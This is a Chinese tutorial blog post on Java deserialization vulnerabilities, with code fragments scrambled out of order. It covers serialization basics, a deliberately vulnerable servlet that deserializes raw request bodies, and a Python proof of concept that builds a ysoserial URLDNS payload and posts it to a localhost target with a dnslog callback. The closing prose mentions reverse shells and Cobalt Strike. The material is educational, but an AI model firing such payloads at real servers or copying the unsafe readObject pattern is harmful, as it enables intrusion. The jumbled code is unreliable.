浅析Java反序列化漏洞议题
2021-03-18 09:24
标签:ros 漏洞验证 持久化存储 stderr 基础 poc 漏洞分析 cto serial 2015年11月6日,FoxGlove Security安全团队的@breenmachine 发布的一篇博客中介绍了如何利用Java反序列化漏洞,来攻击最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些大名鼎鼎的Java应用,实现远程代码执行。 然而事实上,博客作者并不是漏洞发现者。博客中提到,早在2015年的1月28号,Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上给出了一个报告[5],报告中介绍了Java反序列化漏洞可以利用Apache Commons Collections这个常用的Java库来实现任意代码执行,当时并没有引起太大的关注,但是在博主看来,这是2015年最被低估的漏洞。 确实,Apache Commons Collections这样的基础库非常多的Java应用都在用,一旦编程人员误用了反序列化这一机制,使得用户输入可以直接被反序列化,就能导致任意代码执行,这是一个极其严重的问题,博客中提到的WebLogic等存在此问题的应用可能只是冰山一角。 虽然从@gebl和@frohoff的报告到现在已经过去了将近一年,但是@breenmachine的博客中提到的厂商也依然没有修复,而且国内的技术人员对这个问题的关注依然较少。为了帮助大家更好的理解它,尽快避免和修复这些问题,本文对此做了一个深入的漏洞原理和利用分析,最后对上面提到的这些受影响的应用,在全球范围内做一个大概的统计。 序列化与反序列化机制 Java 序列化是指把 Java 对象转换为字节序列的过程,便于保存在内存、文件、数据库中, ObjectOutputStream类的 writeObject()方法可以实现序列化。反序列化是指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的readObject()方法用于反序列化。 Java.io.Serializable接口。 [plain] view plaincopy import java.io.Serializable; public class Person implements Serializable { public int getAge() { public void setAge(int age) { public String getName() { public void setName(String name) { public Person() { public Person(int age, String name) { [plain] view plaincopy import java.io.FileNotFoundException; public class Main { public static void main(String[] args) throws IOException { oss.writeObject(xiaoming); [plain] view plaincopy ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.txt")); } Runtime这个方法才能去进行命令执行。在反序列化这一步骤并没有什么安全问题,但是如果反序列化的数据是可控的情况下,那么我们就可以从某个输入点,输入恶意代码,再去查找在哪个点,我们的输入会被一层一层的带去到我们的触发点去,而这一步叫做寻找利用链的步骤。 import com.sun.xml.internal.messaging.saaj.util.CharReader; import javax.servlet.ServletException; @WebServlet("/readServlet") protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { int len; } protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { ysoserial地址:ysoserial ysoserial是一款在Github开源的知名java 反序列化利用工具,里面集合了各种java反序列化payload; poc代码: [plain] view plaincopy import subprocess def res_data(dnslog_url): payload = (popen.stdout.read()) return payload def send(Address_ip,yso_data): res = requests.post(url=Address_ip, data=yso_data) def help(): def main(): send(url, payload_data) if name == ‘main‘: 浅析Java反序列化漏洞议题 标签:ros 漏洞验证 持久化存储 stderr 基础 poc 漏洞分析 cto serial 原文地址:https://www.cnblogs.com/xuelei4945191/p/13915852.html
序列化是让Java对象脱离Java运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。
序列化的前提是要序列化的对象必须实现
代码实例:
编写一个学生类:
package com.company;
private int age;
private String name;
return age;
}
this.age = age;
}
return name;
}
this.name = name;
}
}
this.age = age;
this.name = name;
}
}
序列化代码:
package com.company;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
Person xiaoming = new Person(18, "xiaoming");
ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("1.txt"));
}
}
反序列化代码:
public static void main(String[] args) throws IOException, ClassNotFoundException {
Person person = (Person)ois.readObject();
String name = person.getName();
System.out.println(name);
}
反序列化漏洞分析
在前面抛出的一个问题里面,反序列化明明是一个Java当中再正常不过的机制,为什么会产生反序列化漏洞呢?其实是因为在一些类中,会重写readobjetc方法。导致了反序列化的时候,调用的时候重写后的readobjetc方法调用了其他的一些方法,所以可能就会导致反序列化漏洞的产生。但是他并不是直接就能够去执行命令,而是需要通过一条构造好的恶意类,方法中的互相调用直到调用到
漏洞Demo
[plain] view plaincopy
package com.test;
import javax.servlet.ServletInputStream;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
public class readServlet extends HttpServlet {
ServletInputStream is = request.getInputStream();
String request_data = null;
byte[] bytes = new byte[1024];
while ((len = is.read(bytes))!=-1){
request_data = new String(bytes, 0, len);
System.out.println(request_data);
ByteArrayInputStream tInputStringStream = new ByteArrayInputStream(request_data.getBytes());
ObjectInputStream oos = new ObjectInputStream(tInputStringStream);
try {
Object o = oos.readObject();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
this.doPost(request, response);
}
}
POC编写思路
在shiroscan里面其实用到的也是URLDNS链,在编写POC的时候,可以借助ysoserial工具辅助来进行编写POC。其实网上很多的poc都是借助ysoserial来进行生成payload的。-- coding:utf-8
@Time : 2020/10/16 17:36
@Author : nice0e3
@FileName: poc.py
@Software: PyCharm
@Blog :https://www.cnblogs.com/nice0e3/
import requests
popen = subprocess.Popen([‘java‘, ‘-jar‘, "ysoserial.jar", ‘URLDNS‘, dnslog_url],shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
stdin=subprocess.PIPE)print(payload)
if res.status_code == 200:
print("The request was successful.")
print("res.status_code")
else:
print("error")
print(res.status_code)
print("command: python poc.py dnslog.cn Address_ip ")
dnslog_url = "http://sizyq6.dnslog.cn"
url = ‘http://localhost:8080/yt_war_exploded/readServlet‘
payload_data = res_data(dnslog_url)print(payload_data)
main()
这里是一段POC漏洞验证代码,使用了URLDNS链来触发url请求,验证反序列化漏洞的存在,在shiro的工具里面其实用的一个链也是URLDNS链,该链不依赖于第三方库。但是利用场景只是在一个能出网的环境下,才能去利用。在实战情况下大致就分为两种,一个是能直接出网的机器,一个是不能出网的机器。在能出网的情况下的利用方式就可以使用dnslog去验证漏洞,然后执行命令的时候也可以直接的去执行反弹shell的命令。拿到反弹的shell后再在CS上去执行命令。那么还有种就是不出网的机器,像这种情况只能去进行直接的构造命令执行的回显。
上一篇:Python基础自测题答案解析
下一篇:C/C++ 推荐IDE工具